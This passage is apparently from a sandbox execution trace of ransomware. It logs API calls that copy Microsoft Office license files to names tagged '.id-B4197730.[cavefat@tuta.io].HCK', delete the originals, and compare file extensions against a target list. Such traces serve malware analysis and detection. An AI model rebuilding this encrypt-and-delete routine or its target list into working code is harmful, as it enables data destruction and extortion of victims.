Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.227] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.227] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.228] GetLastError () returned 0x0 [0241.228] ReadFile (in: hFile=0x534, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x675e, lpOverlapped=0x0) returned 1 [0241.230] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x6760, lpOverlapped=0x0) returned 1 [0241.230] ReadFile (in: hFile=0x534, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.230] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x104, lpOverlapped=0x0) returned 1 [0241.231] SetEndOfFile (hFile=0x4b8) returned 1 [0241.231] CloseHandle (hObject=0x4b8) returned 1 [0241.231] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.231] SetEndOfFile (hFile=0x534) returned 1 [0241.530] CloseHandle (hObject=0x534) returned 1 [0241.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1 [0242.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.051] lstrlenW (lpString=".doc") returned 4 [0242.051] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.051] lstrlenW (lpString=".docx") returned 5 [0242.051] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.051] lstrlenW (lpString=".pdf") returned 4 [0242.051] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".xls") returned 4 [0242.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".xlsx") returned 5 [0242.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.052] lstrlenW (lpString=".ppt") returned 4 [0242.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".zip") returned 4 [0242.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".rar") returned 4 [0242.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".bz2") returned 4 [0242.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".7z") returned 3 [0242.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".dbf") returned 4 [0242.052] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".1cd") returned 4 [0242.052] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".jpg") returned 4 [0242.052] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".doc") returned 4 [0242.052] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".docx") returned 5 [0242.052] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.052] lstrlenW (lpString=".pdf") returned 4 [0242.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".xls") returned 4 [0242.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".xlsx") returned 5 [0242.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.052] lstrlenW (lpString=".ppt") returned 4 [0242.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".zip") returned 4 [0242.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".rar") returned 4 [0242.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".bz2") returned 4 [0242.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString=".7z") returned 3 [0242.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.052] lstrlenW (lpString=".dbf") returned 4 [0242.052] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.053] lstrlenW (lpString=".1cd") returned 4 [0242.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0242.053] lstrlenW (lpString=".jpg") returned 4 [0242.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.053] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.053] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24 [0242.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.053] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11147) returned 1 [0242.054] CloseHandle (hObject=0x544) returned 1 [0242.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0242.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.059] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.059] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.060] GetLastError () returned 0x0 [0242.060] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0242.062] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0242.062] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.062] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x104, lpOverlapped=0x0) returned 1 [0242.062] SetEndOfFile (hFile=0x340) returned 1 [0242.063] CloseHandle (hObject=0x340) returned 1 [0242.063] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.063] SetEndOfFile (hFile=0x544) returned 1 [0242.065] CloseHandle (hObject=0x544) returned 1 [0242.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1 [0242.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.068] lstrlenW (lpString=".doc") returned 4 [0242.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.068] lstrlenW (lpString=".docx") returned 5 [0242.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.068] lstrlenW (lpString=".pdf") returned 4 [0242.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.068] lstrlenW (lpString=".xls") returned 4 [0242.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".xlsx") returned 5 [0242.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.069] lstrlenW (lpString=".ppt") returned 4 [0242.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".zip") returned 4 [0242.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".rar") returned 4 [0242.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".bz2") returned 4 [0242.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".7z") returned 3 [0242.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".dbf") returned 4 [0242.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".1cd") returned 4 [0242.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".jpg") returned 4 [0242.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".doc") returned 4 [0242.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".docx") returned 5 [0242.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.069] lstrlenW (lpString=".pdf") returned 4 [0242.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".xls") returned 4 [0242.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".xlsx") returned 5 [0242.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.069] lstrlenW (lpString=".ppt") returned 4 [0242.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".zip") returned 4 [0242.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".rar") returned 4 [0242.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".bz2") returned 4 [0242.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString=".7z") returned 3 [0242.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".dbf") returned 4 [0242.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".1cd") returned 4 [0242.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0242.069] lstrlenW (lpString=".jpg") returned 4 [0242.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.070] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25 [0242.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.070] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26524) returned 1 [0242.070] CloseHandle (hObject=0x544) returned 1 [0242.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0242.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.071] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.071] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.072] GetLastError () returned 0x0 [0242.072] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x679c, lpOverlapped=0x0) returned 1 [0242.074] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0242.075] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.075] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0242.075] SetEndOfFile (hFile=0x340) returned 1 [0242.075] CloseHandle (hObject=0x340) returned 1 [0242.075] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.075] SetEndOfFile (hFile=0x544) returned 1 [0242.077] CloseHandle (hObject=0x544) returned 1 [0242.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".doc") returned 4 [0242.079] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".docx") returned 5 [0242.079] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.079] lstrlenW (lpString=".pdf") returned 4 [0242.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".xls") returned 4 [0242.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".xlsx") returned 5 [0242.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.079] lstrlenW (lpString=".ppt") returned 4 [0242.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".zip") returned 4 [0242.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".rar") returned 4 [0242.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".bz2") returned 4 [0242.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".7z") returned 3 [0242.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".dbf") returned 4 [0242.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".1cd") returned 4 [0242.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".jpg") returned 4 [0242.079] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".doc") returned 4 [0242.079] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".docx") returned 5 [0242.079] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.079] lstrlenW (lpString=".pdf") returned 4 [0242.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".xls") returned 4 [0242.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString=".xlsx") returned 5 [0242.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.079] lstrlenW (lpString=".ppt") returned 4 [0242.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.079] lstrlenW (lpString=".zip") returned 4 [0242.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.080] lstrlenW (lpString=".rar") returned 4 [0242.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.080] lstrlenW (lpString=".bz2") returned 4 [0242.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.080] lstrlenW (lpString=".7z") returned 3 [0242.080] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.080] lstrlenW (lpString=".dbf") returned 4 [0242.080] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.080] lstrlenW (lpString=".1cd") returned 4 [0242.080] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0242.080] lstrlenW (lpString=".jpg") returned 4 [0242.080] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.080] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.080] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28 [0242.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.081] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11591) returned 1 [0242.081] CloseHandle (hObject=0x544) returned 1 [0242.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0242.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 